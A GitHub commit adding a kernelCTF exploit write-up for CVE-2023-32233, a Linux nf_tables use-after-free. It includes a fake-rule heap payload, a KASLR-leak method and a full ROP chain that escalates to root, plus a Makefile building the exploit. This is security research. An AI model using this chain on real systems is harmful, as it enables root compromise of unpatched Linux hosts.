-
Notifications
You must be signed in to change notification settings - Fork 415
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add kernelCTF CVE-2023-32233 mitigation (#54)
* Add kernelCTF CVE-2023-32233 mitigation * Update Makefile --------- Co-authored-by: Mingi Cho <[email protected]>
- Loading branch information
Showing
7 changed files
with
1,850 additions
and
0 deletions.
There are no files selected for viewing
210 changes: 210 additions & 0 deletions
210
pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/exploit.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,210 @@ | ||
# Attacking Objects | ||
|
||
- **Information leak/KASLR bypass**: nft_chain + nft_rule/nft_expr [dyn-kmalloc-256] | ||
- **RIP control**: nft_rule/nft_expr (RIP hijacked via expr->deactivate()) [dyn-kmalloc-256] | ||
|
||
# Overview | ||
|
||
This exploit is written based on https://www.openwall.com/lists/oss-security/2023/05/15/5. The exploit strategy is different from the original code. | ||
|
||
# Triggering Vulnerability | ||
|
||
The vulnerability is caused by access to an anonymous nft_set that is being deleted. | ||
|
||
```c | ||
void nf_tables_deactivate_set(const struct nft_ctx *ctx, struct nft_set *set, | ||
struct nft_set_binding *binding, | ||
enum nft_trans_phase phase) | ||
{ | ||
switch (phase) { | ||
case NFT_TRANS_PREPARE: // [1] | ||
set->use--; | ||
return; | ||
case NFT_TRANS_ABORT: | ||
case NFT_TRANS_RELEASE: | ||
set->use--; | ||
fallthrough; | ||
default: | ||
nf_tables_unbind_set(ctx, set, binding, | ||
phase == NFT_TRANS_COMMIT); | ||
} | ||
} | ||
EXPORT_SYMBOL_GPL(nf_tables_deactivate_set); | ||
|
||
void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set) | ||
{ | ||
if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) | ||
nft_set_destroy(ctx, set); | ||
} | ||
EXPORT_SYMBOL_GPL(nf_tables_destroy_set); | ||
``` | ||
Because the `nf_tables_deactivate_set` function does not change the set to the inactive state when an anonymous set is deleted, it can be accessed after the set is destroyed by the `nf_tables_destroy_set` function [1]. | ||
To trigger the vulnerability, create an anonymous nft_set is and a rule with a lookup expr referencing it. The UAF is then triggered by deleting the rule and then deleting the set or adding/deleting set elements of the set. Note that `nf_tables_deactivate_set` is called while deleting the rule with lookup expr. | ||
# From UAF to double free | ||
```c | ||
static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set) | ||
{ | ||
int i; | ||
if (WARN_ON(set->use > 0)) | ||
return; | ||
for (i = 0; i < set->num_exprs; i++) | ||
nft_expr_destroy(ctx, set->exprs[i]); | ||
set->ops->destroy(set); | ||
nft_set_catchall_destroy(ctx, set); | ||
kfree(set->name); // [2] | ||
kvfree(set); | ||
} | ||
``` | ||
|
||
When the nft_lookup expr is destroyed, the `nft_set_destroy` function is called and free `set->name`[2]. When the set is destroyed again, the `nft_set_destroy` function is called one more time on this nft_set, resulting in a double free. In between the two calls to `nft_set_destroy`, I create another target nft_set to make this nft_set free. At this time, I make the length of the set's name in between 193-256 to place it to dyn-kmalloc-256. | ||
|
||
```c | ||
struct nft_chain { | ||
struct nft_rule_blob __rcu *blob_gen_0; | ||
struct nft_rule_blob __rcu *blob_gen_1; | ||
struct list_head rules; | ||
struct list_head list; | ||
struct rhlist_head rhlhead; | ||
struct nft_table *table; | ||
u64 handle; | ||
u32 use; | ||
u8 flags:5, | ||
bound:1, | ||
genmask:2; | ||
char *name; | ||
u16 udlen; | ||
u8 *udata; // [3] | ||
|
||
/* Only used during control plane commit phase: */ | ||
struct nft_rule_blob *blob_next; | ||
}; | ||
``` | ||
|
||
Then, I utilized the udata field [3] of the nft_chain structure for information leak and RIP control. To do this, the udata of nft_chain is allocated in dyn-kmalloc-256 and overlaps with set->name of the target set. | ||
|
||
```c | ||
static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask, | ||
u8 policy, u32 flags, | ||
struct netlink_ext_ack *extack) | ||
... | ||
|
||
if (nla[NFTA_CHAIN_USERDATA]) { | ||
chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT); // [4] | ||
if (chain->udata == NULL) { | ||
err = -ENOMEM; | ||
goto err_destroy_chain; | ||
} | ||
chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]); | ||
} | ||
``` | ||
The udata of nft_chain is input from the user in the `nf_tables_addchain` function [4]. | ||
# KASLR Bypass and Information Leak | ||
To bypass KASLR, I used the `struct nft_rule`. The nft_rule contains `struct nft_expr` [5], which stores the address of the `struct nft_expr_ops` [6]. Since address of `nft_expr_ops` is a kernel address, we can bypass KASLR by read it. We can also get the heap address by reading the list in the struct nft_rule. This address will be used later to create fake ops and store the ROP payload. In this exploit, I used `nft_counter_ops`. | ||
```c | ||
struct nft_rule { | ||
struct list_head list; | ||
u64 handle:42, | ||
genmask:2, | ||
dlen:12, | ||
udata:1; | ||
unsigned char data[] | ||
__attribute__((aligned(__alignof__(struct nft_expr)))); // [5] | ||
}; | ||
``` | ||
|
||
```c | ||
struct nft_expr { | ||
const struct nft_expr_ops *ops; // [6] | ||
unsigned char data[] | ||
__attribute__((aligned(__alignof__(u64)))); | ||
}; | ||
``` | ||
|
||
# RIP Control | ||
|
||
Create a fake rule to control the RIP. Since `expr->ops->deactivate` is called in the `nft_rule_expr_deactivate` function when deleting a rule [7], we can control the RIP by modifying with the address of the ops. | ||
|
||
```c | ||
static void nft_rule_expr_deactivate(const struct nft_ctx *ctx, | ||
struct nft_rule *rule, | ||
enum nft_trans_phase phase) | ||
{ | ||
struct nft_expr *expr; | ||
|
||
expr = nft_expr_first(rule); | ||
while (nft_expr_more(rule, expr)) { | ||
if (expr->ops->deactivate) | ||
expr->ops->deactivate(ctx, expr, phase); // [7] | ||
|
||
expr = nft_expr_next(expr); | ||
} | ||
} | ||
``` | ||
To do this, we free the rule we sprayed for the leak and spray a fake rule with chain->udata at this location. | ||
```c | ||
struct fake_nft_rule * payload = (struct fake_nft_rule *) data; | ||
payload->dlen = 8; | ||
payload->genmask = 0; | ||
payload->handle = 0xffff; | ||
payload->list.prev = (void*) 0; | ||
payload->list.next = (void*) 0; | ||
*((uint64_t*)data + (sizeof(struct fake_nft_rule) / sizeof(uint64_t*))) = heap_addr; // expr->ops | ||
``` | ||
|
||
I sprayed a fake rule with `dlen` greater than `0` and `handle` `0xffff`. And when I delete the rule with handle `0xffff`, the RIP is controlled. | ||
|
||
# Post-RIP | ||
|
||
I make the following ROP payload to get the shell. For simplicity, I utilized the Telefork technique suggested by Kyle (https://blog.kylebot.net/2022/10/16/CVE-2022-1786/). | ||
|
||
```c | ||
void make_payload_rop(uint64_t* data){ | ||
int i = 0; | ||
|
||
data[i++] = kbase + POP_RSI_RET; // dummy | ||
data[i++] = 0; | ||
|
||
data[i++] = kbase + POP_RSI_RET; // dummy | ||
data[i++] = 0; | ||
|
||
data[i++] = kbase + POP_RSI_RET; // dummy | ||
data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate() | ||
|
||
// find_task_by_vpid(1) | ||
data[i++] = kbase + POP_RDI_RET; | ||
data[i++] = 1; | ||
data[i++] = kbase + FIND_TASK_BY_VPID; | ||
|
||
// switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy) | ||
data[i++] = kbase + MOV_RDI_RAX_RET; | ||
data[i++] = kbase + POP_RSI_RET; | ||
data[i++] = kbase + INIT_NSPROXY; | ||
data[i++] = kbase + SWITCH_TASK_NAMESPACES; | ||
|
||
// commit_creds(&init_cred) | ||
data[i++] = kbase + POP_RDI_RET; | ||
data[i++] = kbase + INIT_CRED; | ||
data[i++] = kbase + COMMIT_CREDS; | ||
|
||
data[i++] = kbase + VFORK; | ||
data[i++] = kbase + DELAY; | ||
} | ||
``` | ||
However, when using the `fork` system call, a lot of double fault exceptions occurred, so we used `vfork`. Since `vfork` also causes a double fault exception, it is better to use the `iret` gadget to return to the userspace to increase the reliability of the exploit. |
23 changes: 23 additions & 0 deletions
23
pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/novel-techniques.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
# Novel Techniques | ||
|
||
## Powerful Universal Obejct: `struct nft_rule` | ||
|
||
`struct nft_rule` is a very powerful primitive that can be used to do KASLR bypass, leak heap address, RIP control, and data spraying. We can get the kernel base address by reading the ops structure of expr stored in `nft_rule`. We can also read the list of `nft_rule` and the heap address stored in nft_expr and utilize it in an attack. Finally, the ops address of the expr can be manipulated to perform RIP control. Additionally, the userdata field of the `nft_rule` can be used for data spraying. | ||
|
||
```c | ||
struct nft_rule { | ||
struct list_head list; | ||
u64 handle:42, | ||
genmask:2, | ||
dlen:12, | ||
udata:1; | ||
unsigned char data[] | ||
__attribute__((aligned(__alignof__(struct nft_expr)))); | ||
}; | ||
|
||
struct nft_expr { | ||
const struct nft_expr_ops *ops; | ||
unsigned char data[] | ||
__attribute__((aligned(__alignof__(u64)))); | ||
}; | ||
``` |
12 changes: 12 additions & 0 deletions
12
pocs/linux/kernelctf/CVE-2023-32233_mitigation/docs/vulnerability.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
- Requirements: | ||
- Capabilities: CAP_NET_ADMIN | ||
- Kernel configuration: CONFIG_NETFILTER, CONFIG_NF_TABLES | ||
- User namespaces required: Yes | ||
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=20a69341f2d00cd042e81c82289fba8a13c05a25 (netfilter: nf_tables: add netlink set API) | ||
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c1592a89942e9678f7d9c8030efa777c0d57edab (netfilter: nf_tables: deactivate anonymous set from preparation phase) | ||
- Affected Version: v3.13-rc1 - v6.4-rc6 | ||
- Affected Component: net/netfilter | ||
- Cause: Use-After-Free | ||
- Syscall to disable: disallow unprivileged username space | ||
- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-32233 | ||
- Description: In the Linux kernel through 6.3.1, a use-after-free in Netfilter nf_tables when processing batch requests can be abused to perform arbitrary read and write operations on kernel memory. Unprivileged local users can obtain root privileges. This occurs because anonymous sets are mishandled. |
35 changes: 35 additions & 0 deletions
35
pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/Makefile
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
LIBMNL_DIR = $(realpath ./)/libmnl_build | ||
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build | ||
|
||
exploit: | ||
gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/install/include -I$(LIBMNL_DIR)/install/include -static | ||
|
||
prerequisites: libmnl-build libnftnl-build | ||
|
||
libmnl-build : libmnl-download | ||
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make | ||
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install | ||
|
||
libnftnl-build : libmnl-build libnftnl-download | ||
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make | ||
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install | ||
|
||
libmnl-download : | ||
mkdir $(LIBMNL_DIR) | ||
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 | ||
|
||
libnftnl-download : | ||
mkdir $(LIBNFTNL_DIR) | ||
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz | ||
|
||
run: | ||
./exploit | ||
|
||
clean: | ||
rm -rf $(LIBMNL_DIR) | ||
rm -rf $(LIBNFTNL_DIR) | ||
rm -f exploit |
Binary file added
BIN
+1.84 MB
pocs/linux/kernelctf/CVE-2023-32233_mitigation/exploit/mitigation-6.1/exploit
Binary file not shown.
Oops, something went wrong.